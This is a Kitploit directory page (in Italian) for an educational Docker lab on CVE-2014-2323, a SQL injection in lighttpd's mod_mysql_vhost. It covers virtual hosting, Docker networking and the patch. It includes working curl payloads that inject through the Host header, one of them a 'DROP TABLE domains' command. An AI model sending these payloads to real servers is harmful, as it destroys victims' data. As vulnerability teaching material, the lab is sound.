Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
lighty-sqlinj-demo — Dimostrazione educativa dello sfruttamento dell'iniezione SQL CVE-2014-2323 in mod_mysql_vhost di lighttpd, con laboratorio basato su Docker per l'analisi pratica della vulnerabilità e l'applicazione delle patch. | Kitploit
Strumenti/GitHubGitHub/cirocosta/lighty-sqlinj-demo
Sicurezza dei ContenitoriAnalisi delle VulnerabilitàSfruttamento di Applicazioni WebApprendimento e FormazioneLab e Pratica
GitHubcirocosta/lighty-sqlinj-demo

lighty-sqlinj-demo

Dimostrazione educativa dello sfruttamento dell'iniezione SQL CVE-2014-2323 in mod_mysql_vhost di lighttpd, con laboratorio basato su Docker per l'analisi pratica della vulnerabilità e l'applicazione delle patch.

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository
8110 anni faNon ancora revisionato

title: Ep4 - Vulnerabilità relativa alle reti members:

  • Ciro S. Costa
  • Marcela Terakado date: 10 Nov, 2015

Vulnerabilità correlata:

root@kitploit:~
CVE-2014-2323 [1] was assigned to SQL injection bug.
CVE-2014-2324 [2] was assigned to the path traversal bug.

Conferma: http://download.lighttpd.net/lighttpd/security/lighttpd_sa_2014_01.txt

  • Versione affetta: 1.4.34

Presentazione

  • Spiegare la falla
    • presentare il servizio da esplorare
    • dove, nel codice sorgente, si trova la falla
    • patch di correzione della falla
  • Preparare demo relative all'exploit
    • Exploit
    • Applicare la correzione della falla
    • Provare a sfruttarla di nuovo
  • lighttpd (lighty)
  • Hosting Virtuale
    • Preparare un server Lighttpd
  • SQL
    • SQL injection
  • Docker
    • Networking dei container
  • Demo!
    • Exploit
    • Verifica del Path

lighttpd (lighty)

Il servizio da esplorare è Lighttpd. È un webserver open source (licenza BSD) ottimizzato per essere leggero e veloce. Nacque come 'proof-of-concept' del famoso problema c10k (come gestire 10.000 connessioni simultanee su un server), guadagnando quindi molta popolarità all'epoca (2003), ed è attualmente utilizzato da Whatsapp.com, Xkcd e, in passato, Youtube. Il suo posizionamento sul mercato è piuttosto interessante, come possiamo verificare nel grafico:

Posizionamento Lighttpd - Traffico x Quantità di Siti Web

Il server cerca di gestire il problema delle molte connessioni tramite l'uso di meccanismi asincroni basati su eventi (kqueue su BSD, epoll su Linux), riducendo la necessità di più thread, risultando quindi in un'impronta di memoria molto più ridotta e un migliore utilizzo della CPU (strategia utilizzata anche dai server Nginx, il cui uso è aumentato significativamente nel corso degli anni):

Mercato dei Server

Una delle funzionalità di lighty è la facile gestione dei virtual host.

Hosting Virtuale

Si tratta di un metodo utilizzato per ospitare più di un nome di dominio la cui risoluzione avviene su un unico IP, riducendo i costi di hosting per le aziende che cercano di offrire siti web, poiché non è necessario riservare un server dedicato per ogni sito web.

La tecnica può essere basata su IP (un'interfaccia per ogni host) o basata sul nome (un nome per ogni host, condividendo l'interfaccia) - esplorata in questa presentazione.

Basato sul nome

: utilizza l'Hostname fornito dal client per identificare quale servizio usare per rispondere di conseguenza. Tale metodo presenta due difficoltà: complicazioni nel gestire sessioni sicure (TLS) - l'handshake deve avvenire prima di qualsiasi passaggio di intestazione che indichi l'Host al server, complicando quindi la determinazione di quale certificato presentare durante l'handshake. Una soluzione a questo problema è un'estensione al TLS chiamata Server Name Indication (SNI) che consente di presentare il nome all'inizio dell'handshake, permettendo quindi la scelta del certificato corretto. Un secondo problema riguarda il tentativo di connessione senza un'intestazione Host ben definita, che comporta l'indeterminazione del servizio da utilizzare.

Host virtuale - redes.io Host virtuale - mac0448.io

Basato su IP

: utilizza IP separati per ogni applicazione. Il webserver viene quindi configurato per più interfacce di rete fisiche (o virtuali sulla stessa interfaccia) e risponde in modo corrispondente in base all'indirizzo IP (di destinazione).

IP aliasing consente di creare interfacce virtuali per ogni servizio.

Nel caso di una grande azienda, amministrare tale mappatura può diventare complesso a seconda del numero di clienti. Lighty offre quindi supporto all'uso di un database per questa finalità, come mostreremo in seguito.

Prima, vediamo come fare "a mano" la configurazione di un server e poi aggiungere il vhosting.

Preparare un server Lighttpd

Preparare un server di base lighttpd è molto facile. Basta eseguire l'installazione e creare un file di configurazione che imposti la porta da usare, come rispondere a determinate richieste e altre configurazioni.

Possiamo preparare un esempio di configurazione che gestisce solo la ricezione di richieste di file statici (.html o .txt):

root@kitploit:~
server.document-root = "/usr/lighttpd/mysite.com/"
server.port = 80

mimetype.assign = (
  ".html" => "text/html",
  ".txt" => "text/plain"
)

Immaginate ora di voler creare un'attività basata sulla vendita di siti web e di offrire un dominio proprio all'acquirente. Per minimizzare i costi, vogliamo quindi creare vhosts per ogni cliente. Diciamo che il corso della disciplina di reti desidera acquisire tre siti web: redes.io, mac0448.io e mac5910.io. La nostra azienda registra quindi i domini, tutti puntanti all'IP del nostro unico server, con una sola interfaccia.

ps: poiché vogliamo simulare questo, possiamo modificare il file /etc/hosts:

root@kitploit:~
172.17.0.2 redes.io
172.17.0.2 mac0448.io
172.17.0.2 mac5910.io

Per essere in grado di servire i diversi siti web dei clienti risolvendo da un singolo IP, possiamo quindi configurare il server a mano:

root@kitploit:~
server.document-root = "/usr/lighttpd/default/"
server.port = 80

mimetype.assign = (
  ".html" => "text/html",
  ".txt" => "text/plain"
)

$HTTP["host"] == "redes.io" {
  server.document-root = "/usr/lighttpd/redes/"
} else $HTTP["host"] == "mac0448.io" {
  server.document-root = "/usr/lighttpd/mac0448/"
} else $HTTP["host"] == "mac5910.io" {
  server.document-root = "/usr/lighttpd/mac5910/"
}

Ma, come possiamo immaginare, questo può diventare un problema man mano che vogliamo gestire molti clienti e fornire configurazioni diverse per ogni sito web, come citato in precedenza.

Con il modulo mod_mysql_vhost possiamo quindi collegare il nostro server a un database mysql responsabile di tale mappatura. Specifichiamo quindi il nome del database, come trovarlo nella nostra rete e quale comando usare per effettuare la ricerca.

root@kitploit:~
server.modules = (
	"mod_accesslog",
	"mod_mysql_vhost"
)

mysql-vhost.db		= "NOME_DO_BANCO"
mysql-vhost.user	= "USUARIO"
mysql-vhost.pass	= "SENHA"

(!!!!!!!!!!!!!!!)
mysql-vhost.sql		= "SELECT docroot FROM domains WHERE domain='?';"
(!!!!!!!!!!!!!!!)

mysql-vhost.hostname	= "HOSTNAME"
mysql-vhost.port	= "PORTA"

SQL

SQL è un linguaggio dichiarativo per amministrare database relazionali, essendo utilizzato (...) ecc.

TODO

  • SELECT
  • INSERT
  • UPDATE
  • DELETE
  • DROP
  • (...)

TODO

I problemi sorgono quindi dal fatto che i sistemi di gestione dei database che utilizzano SQL presuppongono che i comandi inseriti siano comandi noti all'amministratore e da lui ben gestiti. Tale presupposto non è sempre vero, poiché i sistemi che interagiscono con il sistema di database possono presentare falle, soprattutto sul web, dove l'interazione con l'utente è elevata.

SQL Injection

Il problema con i comandi SQL compare quando si passa all'intenzione di costruire i comandi usando testi originati dall'utente, sia un nome utente, una password o qualsiasi altro contenuto dinamico.

(TODO)

Come risolvere? Escaping.

Nella nostra configurazione, ad esempio, abbiamo un'enorme falla:

root@kitploit:~
mysql-vhost.sql		= "SELECT docroot FROM domains WHERE domain='?';"

poiché possibilmente (ed è quello che accadeva fino alla versione 1.4.34) il ? può essere sostituito da qualsiasi comando ed eseguito quindi da MySQL.

Simuliamo quindi questo in una rete con 3 container: 1 server mysql e due server lighttpd, uno vulnerabile e uno corretto.

Docker

Docker fornisce un livello di astrazione sopra il sistema operativo che consente la virtualizzazione senza la necessità di un altro SO tramite l'uso di meccanismi di isolamento forniti dal kernel, come cgroups (isolare l'uso di CPU, I/O, memoria e rete di un insieme di processi) e namespaces, rimuovendo quindi tutto l'overhead di avviare e mantenere una macchina virtuale. C'è, in questo modo, una grande ottimizzazione riguardante l'allocazione delle risorse (es., 100 macchine virtuali con immagini da 1GB ==> 100GB. 100 container di un'immagine da 1GB ==> ~1GB.) e la condivisione dell'elaborazione, così come del kernel e del sistema operativo stesso. I file comuni ai container possono anche essere condivisi tramite un file system a strati.

Docker vs VM

Un'analogia interessante per i namespaces è il chroot, che consente a un processo di vedere una directory come la root dell'intero suo file system, alterando la sua prospettiva del sistema (senza alterare il resto del sistema). Con i namespaces possiamo creare questa prospettiva differenziata per diversi altri aspetti del SO, come l'albero dei processi, le interfacce di rete, il FS, IPC e altri.

(vedi altro: Separation Anxiety: A Tutorial for Isolating Your System with Linux Namespaces)

Si deve tener conto che eventualmente l'utente non desideri tale condivisione e poco isolamento.

Networking dei container

Al momento del boot del daemon di Docker viene configurata un'interfaccia virtuale chiamata docker0 sull'host, selezionando una subnet non utilizzata dall'host e assegnando quindi un IP libero all'interfaccia virtuale. Ricordiamo che uno dei tre range potrebbe essere utilizzato:

root@kitploit:~
   The Internet Assigned Numbers Authority (IANA) has reserved the
   following three blocks of the IP address space for private internets:

     10.0.0.0        -   10.255.255.255  (10/8 prefix)
     172.16.0.0      -   172.31.255.255  (172.16/12 prefix)
     192.168.0.0     -   192.168.255.255 (192.168/16 prefix)

Sulla mia macchina, ad esempio:

root@kitploit:~
docker0   Link encap:Ethernet  HWaddr 02:42:58:ca:78:6d  
          inet addr:172.17.0.1  Bcast:0.0.0.0  Mask:255.255.0.0
          inet6 addr: fe80::42:58ff:feca:786d/64 Scope:Link
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:74601 errors:0 dropped:0 overruns:0 frame:0
          TX packets:98561 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:4196391 (4.1 MB)  TX bytes:380442767 (380.4 MB)

Per ogni container istanziato con configurazioni di rete predefinite, il daemon provvede quindi a configurare un'interfaccia (nell'esempio sotto, verth5998947 per il container 1, ad esempio) sull'host (parte della subnet di docker0) e un'altra interfaccia nel container (eth0), oltre a modificare la configurazione di iptables (permette all'amministratore di definire tabelle di catene di regole per il trattamento dei pacchetti sull'host) e il NAT affinché il traffico esterno venga inoltrato ai container.

Interfacce con Docker

Demo

La dimostrazione dipende da un ambiente con docker correttamente configurato su una macchina Linux. Fatto ciò, l'immagine deve essere creata:

root@kitploit:~
$ ./scripts/create-lighty-image.sh

Il comando sopra creerà quindi un'immagine basata sul file Dockerfile, contenente i codici sorgente di entrambe le versioni di lighttpd: quella vulnerabile e quella con la falla corretta.

Fatto ciò, possiamo quindi istanziare i container che rappresenteranno le istanze di elaborazione che fanno parte della demo e il database, anch'esso isolato come container:

root@kitploit:~
$ ./scripts/create-mysql-container.sh
$ ./scripts/create-lighty-container.sh vulnerable
$ ./scripts/create-lighty-container.sh patched

Come risultato abbiamo:

  • server mysql in ascolto sulla porta 3306 di lighty-mysqlserver.
  • server lighty in ascolto sulla porta 80 del container lighty-vulnerable.
  • server lighty in ascolto sulla porta 80 del container lighty-patched.

Container

Per ottenere gli IP dei container, basta eseguire il comando:

root@kitploit:~
$ ./scripts/getips.sh

Docker container ip Addresses:
 - lighty-vulnerable:  172.17.0.3
 - lighty-patched:  172.17.0.4
 - lighty-mysqlserver: 172.17.0.2

Le 'presunte macchine' sono pronte, resta quindi solo configurare il DNS affinché la risoluzione degli indirizzi venga effettuata correttamente. A questo punto potremmo creare un altro container, dedicato alla risoluzione delle richieste DNS tramite un server BIND, ma per velocizzare possiamo semplicemente modificare /etc/hosts:

root@kitploit:~
172.17.0.3 redes.io
172.17.0.3 mac0448.io
172.17.0.3 mac5910.io

Dobbiamo ora fare in modo che il server lighttpd sia in grado di svolgere il compito di virtual hosting usando il server mysql. Per fare ciò dobbiamo inserire le voci nel database in modo che i nostri server possano gestire il compito in base al DB (utilizzando gli script sopra non c'è bisogno di eseguire la procedura sotto - lo script inizializza già la tabella):

root@kitploit:~
$ docker exec -it lighty-mysqlserver bash
root@lighty-mysqlserver:/# mysql -u root -p
mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| lighttpd           |
| mysql              |
| performance_schema |
| sys                |
+--------------------+
mysql> use lighttpd;
mysql> mysql> CREATE TABLE domains(
    -> domain varchar(64) not null primary key,
    -> docroot varchar(128) not null
    -> );
Query OK, 0 rows affected (0.04 sec)

mysql> INSERT INTO domains VALUES ('redes.io', '/usr/lighttpd/redes/');
mysql> INSERT INTO domains VALUES ('mac5910.io', '/usr/lighttpd/mac5910/');
mysql> INSERT INTO domains VALUES ('mac0448.io', '/usr/lighttpd/mac0448/');

mysql> SELECT * FROM domains;
+------------+------------------------+
| domain     | docroot                |
+------------+------------------------+
| mac0448.io | /usr/lighttpd/mac0448/ |
| mac5910.io | /usr/lighttpd/mac5910/ |
| redes.io   | /usr/lighttpd/redes/   |
+------------+------------------------+

Da questo momento i server sono in grado di effettuare il virtual hosting basato sul database.

Exploit

L'attacco consiste nello sfruttare una falla nella fase di parsing dell'intestazione Host inviata nelle richieste HTTP con Host di tipo IPv6. Il metodo responsabile del parsing permette che, oltre all'host, vengano letti e interpretati come tali altri caratteri. Il problema è che, come mostrato in precedenza, nel comando di ricerca di un host virtuale una stringa host viene inserita ciecamente (senza effettuare escaping) nel comando SQL:

root@kitploit:~
mysql-vhost.sql		= "SELECT docroot FROM domains WHERE domain='QUALQUER_COISA_QUE_VENHA_NO_HOST';"

Una richiesta ben intenzionata presenta quindi il seguente flusso di pacchetti quando "annusiamo" l'interfaccia predefinita docker0, attraverso cui fluiscono tutti i pacchetti tra i container:

Flusso di pacchetti Ok

Analizziamo quindi ogni componente del flusso:

Richiesta HTTP ben formata Richiesta HTTP Ok

Richiesta MySQL ben formata Richiesta MySQL Ok

Risposta MySQL Risposta MySQL Ok

Risposta HTTP Risposta HTTP Ok

Possiamo quindi sfruttare tale vulnerabilità.

Utilizzando il curl possiamo forgiare richieste mal intenzionate come descritto nella conferma della CVE.

root@kitploit:~
$ ./scripts/exploit1
curl --header "Host: []' SINTAXE ERRADA" redes.io

Errore del Server

Possiamo rilevare chiaramente che c'è una vulnerabilità da sfruttare, poiché non dovrebbe verificarsi un errore interno del server. Testando lo stesso script per il server di Google:

root@kitploit:~
$ ./scripts/exploit2
curl --header "Host: []' SINTAXE ERRADA" www.google.com

<html><title>Error 400 (Bad Request)!!1</title></html>% 

Confermiamo che possiamo sfruttare il database analizzando la richiesta fatta al database:

Richiesta MySQL malformata Richiesta MySQL malformata

Risposta MySQL Risposta a richiesta MySQL malformata

Possiamo quindi procedere con comandi distruttivi!

root@kitploit:~
$ ./scripts/exploit3
curl --header "Host: []'; DROP TABLE domains;--'" redes.io

Richiesta HTTP malevola Richiesta HTTP malevola

Richiesta MySQL malevola Richiesta MySQL malevola

Risposta MySQL Risposta a richiesta MySQL malevola

E la tabella è sparita! Di conseguenza il server non sarà in grado di risolvere host virtuali oltre a quello configurato come predefinito.

Verifica della Patch

Poiché il nostro database ha perso la tabella di virtual hosting, dobbiamo recuperarla. Per fare ciò basta eseguire, all'interno del container, il processo di creazione della tabella e inserimento dei valori:

root@kitploit:~
$ docker exec $DOCKER_MYSQL "bash" "-c" "mysql -u root -ptoor lighttpd < /db-init.sql"

Possiamo verificare che la patch risolva il problema provando a eseguire nuovamente l'attacco (ora al server corretto):

root@kitploit:~
$ ./scripts/exploit4

curl --header "Host: []'; DROP TABLE domains;--'" redes.io

Eseguiamo quindi la richiesta HTTP malevola:

Richiesta HTTP malevola al server corretto Richiesta HTTP malevola al server corretto

Ma vediamo il flusso di pacchetti nella rete:

Flusso di pacchetti Flusso di pacchetti - server corretto

Come possiamo vedere, trattandosi di un pacchetto malevolo, il server restituisce subito un errore di richiesta malformata e non effettua alcuna richiesta al database.

Patch

La vulnerabilità si manifesta in due parti del codice: nel modulo mod_mysql_vhost (che dovrebbe, in ultima istanza, non interpretare ciò che è stato passato in quella parte della query come un comando valido) e nella gestione delle richieste request.c.

mod_mysql_vhost.c

Nel modulo la soluzione del problema è semplice: basta includere la routine di escape fornita da MySQL e, se eventualmente viene inserito qualche comando malevolo, non accadrà nulla al server (poiché MySQL indicherà l'errore).

Patch del modulo

request.c

Nel codice di richiesta c'è la gestione per il caso in cui, dopo l'indirizzo IPv6, la stringa non termini (cioè non presenti \0). Fino ad allora il server era in grado di identificare correttamente se l'hostname è valido secondo la grammatica (accettando anche i casi in cui si passa una porta insieme all'indirizzo), ma quando la porta non veniva passata (terminava l'IPv6 valido) non rimuoveva il resto della stringa dopo la chiusura delle parentesi quadre (che indica la fine di un indirizzo).

In questo modo:

Patch di request.c

si verifica quindi il caso.

Commit:

  • patched: 1.4.35 - d1a23569161148f5acde8d4a6fb78c44284e1853
  • non-patched: 1.4.32 - 3ca6adc2332be2ca18b66698a759fae5831f164f

Risorse

  • http://www.linuxjournal.com/content/concerning-containers-connections-docker-networking
  • http://lighttpd.net/
Scarica lo strumento